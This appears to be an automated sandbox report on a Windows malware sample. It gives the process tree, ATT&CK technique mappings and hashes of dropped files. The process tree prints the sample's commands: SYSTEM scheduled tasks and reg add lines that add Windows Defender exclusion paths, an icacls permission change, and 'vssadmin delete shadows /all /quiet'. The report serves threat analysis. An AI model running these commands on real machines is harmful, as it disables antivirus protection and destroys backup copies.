C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1192 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3804
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4304
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2872
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1676 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2808
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2932
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4240
-
-
-
C:\Program Files (x86)\T9gpYo\zXlnMg.exe"C:\Program Files (x86)\T9gpYo\zXlnMg.exe"2⤵PID:1744
-
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin delete shadows /all /quiet3⤵
- Executes a command shell one-liner
PID:2932
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\T9gpYo" /inheritance:r3⤵
- Executes a command shell one-liner
PID:1940
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo.>c:\xxxx.ini3⤵
- Executes a command shell one-liner
PID:1788
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\J921Vl" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6032 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\J921Vl" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4204
-
-
C:\Windows\system32\cmd.execmd.exe1⤵PID:5360
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4668 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3792
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5644 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4224
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4276 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3596
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5660 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4664
-
-
C:\Program Files (x86)\T9gpYo\zXlnMg.exe"C:\Program Files (x86)\T9gpYo\zXlnMg.exe"1⤵PID:1764
-
C:\Program Files (x86)\T9gpYo\zXlnMg.exe"C:\Program Files (x86)\T9gpYo\zXlnMg.exe"1⤵PID:4252
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1Clear Persistence
1Modify Registry
2System Binary Proxy Execution
1Msiexec
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e5929c6.rbs
- Size 7KB
- SHA256 9d06fbc382d4f354b7d97ad6c08fc420287586ee7749f2b3cc7859c50ca7bfa8
- MD5 36859c6b830ab9e4f09f6bb36c0527a3
- SHA1 a5c98ec0cb67d57aced2263392bfd3b04565010b
- SHA512 879f4f24813b0d030800a6dc7f945c76108663eeadd9e389011993500e746bd7cb2dfdb366626acfe4a96dbfbbb36ae7caca8615a45097b281100a8a5a9a63c8
- SSDEEP 96:VZ6gu0CHMaUUFD1CsThq/UFD1C6j4/xpThqjHsS56TWt8dxCKpljTzIjByy:VZ7Cbz5IIV5I3CA6KpS
- TLSH T11AF13201B71196D2E9911B75CB831B1637F2D7DAA320735B08DE80285F573883EE67AB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\T9gpYo\XPSPLOG.dll
- Size 4.6MB
- SHA256 89e60c9f9100fb47a24b17f6de864104d1d26276865c3b6463dc810a30f31587
- MD5 7f7f02899f8e100dce0af5a2d4f05071
- SHA1 0ad1daa05646a78e8a7e9aa365fa9f99de8e45a9
- SHA512 f5f6423c2407da96eeb68584937d6f49f49b9d8ccfb08672135068d00513ac650579614dcf5fc469ff1c3d06a5f74f022ecf4fea9a59167ec0e4d78c3d52095a
- SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmy4:BMWKfU+BcUTHCCCfqCiUffn4
- TLSH T133263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\T9gpYo\XPSPLOG.dll
- Size 3.2MB
- SHA256 72c5406b6ab4a45e052e7554f60094a0562c570c236cff7098954c4f98012d63
- MD5 ea07b17c9b0288401c39becb7160d4c7
- SHA1 0f34d46cfd2d7397dce26772e4ca10e41619f2be
- SHA512 4c24a4d2eb9954319942908ccad68db3024e0d4ab53c02591ac1ba4c233b16966ed2cef93cee48954fafb6dd68db339e08c37956368f636f9e33afc1d9c08d62
- SSDEEP 49152:3KLKP3cCMWmRqKJ1JNST5Z/nvsNBcVwNefYhOY+nEXOnqaiOKZCUqyn78eU:yCMWmcKfST5t+BceThTHfaCCUqmC
- TLSH T1DDF5338AAA9B461FE56232785F3DFC7E767C59C8030CEC84D4A6318B90A5B6D503DA0D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\T9gpYo\XPSPLOG.dll
- Size 2.5MB
- SHA256 854af038a3f7dfa429b9f4398509fc37097bd11ee0a934ac81b24f3991a062ad
- MD5 2e7d6f2306227361113d896c79b1177a
- SHA1 1558fa04f1951f764972298ea0c49c66d758d24a
- SHA512 967f81e2113f3d238b18af78b1aa622c10e430b78f0644d9601f49840b6e478e9bbe64d1404f95018c29e915177b2012ddb8c9ac2511c8a44728e5ea35c18eaf
- SSDEEP 49152:3KLKP3cCMWmRqKJ1JNST5Z/nvsNBcVwNefYhOY+nEXOnqaV:yCMWmcKfST5t+BceThTHfaV
- TLSH T155C5339BF697421EEAA172792FADEC6DB2BD49C4822DE544D0D2704F0054B6F803E6CD
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\T9gpYo\image.png
- Size 5.0MB
- SHA256 3712fe8c533655405b2292752bb415536bb2ff8984dac1f41b6a46791703c36e
- MD5 67427a7d2a434d74d97754f61bad80cf
- SHA1 efb2d7d097059e592d768a6888ef90db8a98dbc0
- SHA512 70a1fd58d02b70b653618ddc395a403391edfd399c51710f7b2f5eac5c914ca66f236a0bcef44cc3a3b389359c1a84aacc2c0f6eb473094ddd9c6ffc1b90e5ef
- SSDEEP 98304:PqvO3/u21dcwj8esL9KK5MMrOalZpUC/IQdFOrMeifpHcmI0DoKoxGhUX:f/u21dGs2rOal3UpkiMT59IZVGhW
- TLSH T1A4363325135D318B6AD6C2DCDF91617AE6814BF0E880CDB837D92FB3527CEBA7088645
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\T9gpYo\thumbs.db
- Size 358KB
- SHA256 c5506d5dc321e087675345f8d464bda974d68f9720b7287e94e929fdb350c35a
- MD5 4422670b05d1852e8c7697fc4ee20d04
- SHA1 08f815cd082d35011a6f9f4b3d23d0bbdaf72784
- SHA512 560b88381294c33ca5c07273e689cade3d5d6b70b44b98f3a0d467a972d22360c87c4391802d3f8b324d348baa0d5dbf9780bbfa1fc715096de937dc7a56339b
- SSDEEP 6144:EiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:z8u69CghoQxoMTFQqtKFCz7mb/
- TLSH T14574F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\T9gpYo\zXlnMg.exe
- Size 145KB
- SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
- MD5 5251b98614acffe5c856f4039ca03da3
- SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
- SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
- SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
- TLSH T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\gZzUH3k\XPSPLOG.dll
- Size 214KB
- SHA256 00380f2fd47e1b13fe122124ffcf73e7e6c0fb7af34bfa545ad3586aa812eec1
- MD5 230e5646c779a13491f0bcabcf483d24
- SHA1 d5cc200bc3fcb14a3894577f1af9231bf01ee5ba
- SHA512 67f774e866216b5e8cdf34f9722456c8874afdfa92846d6922c1b80ede2009bc56b013a6ee4022141cfaebdafa5df8108d7566c11ba9f4bd62c8eb95ecc529d0
- SSDEEP 6144:VGfQzVDspcR5LOuFQyDsy8OOnk8oNkLBHtY:6Qls2PLOuWhkdNkXY
- TLSH T14B2412E153D7092EEE4578315A4CF9AC7AF7BAFC469A8C1494C5B0C684772E1203C9CB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\J921Vl\Bxv7K6.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\J921Vl\UxEnhance64.dll
- Size 3.1MB
- SHA256 5192edb88521e751d40702ffdff92f04ebbde0ba73c1dac611b673b2fdbb6342
- MD5 969b5f3d5600b4f1c64fd78237bcc462
- SHA1 0868a5980f689cc009760670c042b165a5db2e27
- SHA512 3845a962e077cf7333d365ddcd4c088bedc8b22a4e210d577be7813c548597d6fc6f72fcbbcb18fbe3c08cbc6f25a699b0f8d64ad67c71699bfebce07b8a2cfb
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+x:P9m29xx3Tiqt06ox6+z2rNNrKox
- TLSH T1C8E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\J921Vl\adoresd.dat
- Size 4.7MB
- SHA256 9b60eaf32953f20b7de21f7ad79c50d326a52dc1d0d93f90b053cafdccf7e9b0
- MD5 32edc97adf65b523ea79f38384af10c3
- SHA1 bfeac5a5cc481323377d4457079c54d623a15618
- SHA512 8db649a3447838ff55c487333f5c19556995051821b6c314c240999d70d5a166f7a3c3187618318f5a12f7a0f59552b0e5c343e39fb7579b20c8dce8d3ed2f56
- SSDEEP 98304:Vmu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:gu1SwOflfZPF6Ma0bsoa5+qd
- TLSH T1F23633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\J921Vl\msadox.tb
- Size 8KB
- SHA256 0f997c290687bffbb393691b24563816471c0ca12f4bf6270c161be0ef9cd7f4
- MD5 dd6782c598226a716c6cfd72f19460bf
- SHA1 0b29613f3968ae6cb6c5376296e56dc37a8c49ff
- SHA512 0ac8990fe62e443a6ee59b8b87e7e7636212fa3e5c6de531462a473d9c589f6441779be6620c083590fa3f952873ba0cb4cc27612ac764323bef13da63ca5d46
- SSDEEP 192:rqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:rsZqZOXQ3uqvR2Kfzp
- TLSH T193029E05D7A20CC3D7016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\Music\destopbak.ini
- Size 2B
- SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
- MD5 7e74f75663e5b5a4f3452a4c603ee45d
- SHA1 d5114b086b721f2c87ea7152025792958ab4c629
- SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
- MD5 SHA1 SHA512
- Path C:\Windows\Installer\MSI3242.tmp
- Size 9.1MB
- SHA256 a2a6f36a6bae28a3e913c3196a5d1769463008f63ea420a3fb2b6f31c56320af
- MD5 49c9dedbf26d1c71dee6753069d0cb37
- SHA1 092c9939571a19afecb37c6c019f01f1e5934894
- SHA512 4dbce5ee1983c2b701fdbc1e935f2ce6f02c0f2dd06de71623668624105e497a8fbfd8304caa69f99f0a15a568876264f0816fb6789c0ee94b2720cbfbe431f5
- SSDEEP 196608:U1vFonaAghFK1mtxfW4ZmGkiZph4rmk5hKTbCPId3U:U1vFo7ghcgtFW4oGkophgm0K8Id3U
- TLSH T167A633D17DCA22F0D193CFB0A896702D7E2437D6B9779C157DC8AA101DE3B2A957A308
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e5929c5.msi
- Size 9.1MB
- SHA256 16cd28346d3592ae926d87d2bebb88a39ae31b0872488c4ed533ec26d5545fee
- MD5 6ad75098eb1b029b59d4ff5a3f29aec9
- SHA1 354e74f344fd7dd1a305538447e2fd4d33868898
- SHA512 26750ad57189e5c9c0096e3149533788470a2e93a0da402812090ca6f728d1e5184e6cf78e042c7e74b9ae28b7b9a05bbe456c4ecf2635f7f2b99951bc00e579
- SSDEEP 196608:p1vFonaAghFK10txfW4ZmGkiZph4rmk5hKTbZPId3G:p1vFo7ghcStFW4oGkophgm0KxId3G
- TLSH T1CCA633C1BDCA27B0C193CB709496616D7E243FD6B9779C057EC8BA101DF2B2A957A308
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 26.1MB
- SHA256 8541313b9fee606dc636bc83e8292eebc690f6b6608baeeacf3cc11ddd560d40
- MD5 2b015115b2e82a01767de206d3756ad2
- SHA1 f46dd6eb2b1e8f8598bd620f0965b318f6107451
- SHA512 cc2d63421456e732b196df1619a4dfdf9368c132a7c748bb34fdb28e4e3bfab1d14a2305c9a4ddc81d6f42b216acecfee8e0621622169300547200db3658ca7b
- SSDEEP 24576:aFo3DMPDdoO/vvTL/yAjDilQP7eJY7Eg0+1xNudb1WtqJESTsIRmD6pin+X:YHM
- TLSH T12F57B31436F92200E7B79E3DB8F06A234D397D5BAC15DE8D45511B8E0822F71E872F6A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{c61fa831-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{7f804f4d-8ef6-4c2b-afa5-f41146fda460}_OnDiskSnapshotProp
- Size 6KB
- SHA256 a43d5088a4cf7f7cd1f8331f7f4a96bf0b5a2128e2fa4fd9e29f00177875b867
- MD5 af68a2ca79e9ee01e11b74c323f925a2
- SHA1 6fecdf7cc73ef4ae6abf2f1bb3d3a0c9cc0ca855
- SHA512 0d12ff651639d3688231e8ac067fbd1d66409dc8dda86d80477948d75ba1ba8aa4324736cb15a36d89d428acddbfd69c2f425e20a11ac5620962f9ac8de8eee4
- SSDEEP 96:FX/cIxbBvc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpu:ZUI/b++uVm
- TLSH T1D6D188085AF54711E2B3AB7129F14557A837B911EF33CB8E0298238E6631A10F935F6F
- MD5 SHA1 SHA512 SSDEEP TLSH